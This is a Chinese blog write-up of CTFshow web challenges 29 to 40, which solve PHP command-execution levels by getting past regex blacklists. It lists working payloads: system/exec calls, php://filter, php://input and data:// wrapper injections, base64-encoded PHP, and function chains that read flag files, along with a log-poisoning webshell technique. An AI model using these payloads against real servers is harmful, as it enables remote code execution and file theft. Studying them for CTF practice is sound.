CTF_show Web 命令执行writeup P1 WEB29-WEB40

CTFSHOW

CTFSHOW web 命令执行WriteUP Part1 WEB29-WEB40

WEB29

命令执行,需要严格的过滤

这里看到用c传参,做了一点简单过滤 不过这点东西怎么能难倒我,哼

1
2
方法1 c=system("cp fl*g.php 123.txt"); 访问123.txt即可
方法2 c=system("tac fl*g.php")

当然这道题方法太多了,不再举例子了

WEB30

命令执行,需要严格的过滤

这道题看描述和上一道题一样,不过代码过滤相对更加严格了一些

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以看出过滤了flag system php这些常用的指令和与flag有关的内容,但是exec,passthru等指令仍然没被过滤

直接故技重施:

1
?c=echo exec("cp fl*g.ph* 1.txt");

访问url/1.txt直接得到flag

附:php执行系统指令相关芝士

WEB31

命令执行,需要严格的过滤 这道题仍然烤命令过滤,打开题看一眼先

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

好家伙,这次过滤了这么多,甚至连空格都给过滤了,怎么办呢,这里偷看了wp,大概有三种方法:

1.可以构造一个新函数

c=eval($_GET[a]);&a=system('cat flag.php');因为只判断了传入的c的值,直接新建一个变量直接绕过,这种方法也适用于上面两种

2.可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 名词解释:

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."

pos():输出数组第一个元素,不改变指针;

scandir();遍历目录,这里因为参数为".“所以遍历当前目录

array_reverse():元组倒置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

WEB32

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了大部分需要用到的东西,直接给c进行传参进行命令执行现在基本上不可能了,不过可以通过特殊方法绕过

以下是传参

1
?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

这是什么意思呢?这里的%0a%3E分别代表回车和>,可以从题目中发现题目中php源文件的尖括号并不是闭合的,以下是参考解析

在c参数中,我们看到以下内容:

include:这是一个PHP函数,用来包含并执行指定文件的内容。在正常情况下,它可以用来加载并执行PHP文件。

%0a(换行符):通过插入换行符,它可能会帮助跳过过滤条件,或者对PHP语法产生意外的影响。

$_GET[1]:这是通过GET请求获取名为1的参数的值。PHP的$_GET超全局数组可以用来获取URL中的查询参数。

?%3E(>):表示HTML标签的结束符。这个符号的作用可能是结束之前的PHP代码并防止它继续执行。

总结一下,这部分的含义是:通过include包含一个动态路径文件,并在路径中利用$_GET[1]来进一步控制要执行的文件。

接下来使用1=php://filter/convert.base64-encode/resource=flag.php进行文件读取,将读取出的base64编码文件转为php文件即可。

还有一种写法

1
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

WEB33

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这道题和上一道题区别不大,同样可以用上一道题的payload解出。

不过看wp后发现还有一种方法:日志注入

1
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可。

WEB34

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同上,这道题多过滤了冒号,但是仍然可以直接用上上一道题的payload即可解出。

翻wp发现这几道题还有一种思路:

题目对常见命令都进行过滤, 但是仔细发现可以利用include进行绕过, 具体实现方式为 eval(include flag.php;); ,但是题目屏蔽了分号(;)和点号(.), 其中分号可以使用?>平替,但是点号无法绕过, 遂使用post执行php代码注入flag.php, 因此可得payload:

GET:?c=include$_GET[1]?>&1=php://input

POST传参:<?php system('tac flag.php');?>

需要注意,因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据

补充: php://input默认读取没有处理过的POST数据

WEB35

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次多过滤了等于号和<号,但是WEB32的payload仍然可用。因为根本没用左尖括号和等号

WEB36

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次多过滤了数字,试试WEB32那个payload,欸好像不行了…吗?直接把1换成字母就可以了啊oi(#`O′)!!

看一眼wp发现一种方法和上面php://input大同小异就不解释了。

?c=include$_GET[v]?>&v=data://text/plain,<?php system("tac flag.php")?>

这题还是杂鱼,直接下一题

WEB37

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

嗯?这道题好像不一样了,一看这不直接帮咱们include好了嘛,直接传参

?c=data://text/plain,<?php system("tac fla*.php")?>

也可以用?c=data://input然后post传参

这里在wp里发现一种有意思的解法?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=应该可以通过这种方法绕过不少过滤。

WEB38

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这道题WEB37中base64那个payload仍然可以绕过,用php://input+post传参也可以,或者直接在WEB37原始的payload上直接小修改一下?c=data://text/plain,<?=system("tac f*")?>也可以直接绕过。

WEB39

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

同WEB37。wp有佬解释:拼接的php可以不用管,include只会处理内部的内容,对flag的过滤可以采用拼接的方式 ?c=data://text/plain,这里偷懒了,也可以base64一下。

WEB37中的尖括号闭合可以绕过.php,因为相当于直接结束了php文件,同理也可以用//注释掉后面的内容,比如?c=data://text/plain,<?php%20system("tac%20fla*.php");//来解决这道题。

WEB40

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

好家伙这是基本上把能过滤的符号全部给噶了,不过仔细一看似乎半角括号没被过滤,那应该如何尝试只用()就获取呢,上面题目(WEB31)已经有例子了,直接用?c=show_source(next(array_reverse(scandir(pos(localeconv())))));就直接绕过啦。

这里有两种做法,分别解析:

1.POST传参

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(’tac fl*’);

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

2.show_source

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为".“所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

Licensed under CC BY-NC-SA 4.0
最后更新于 Nov 25, 2024 20:32 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计

萌ICP备20249008号 本站支持IPv6访问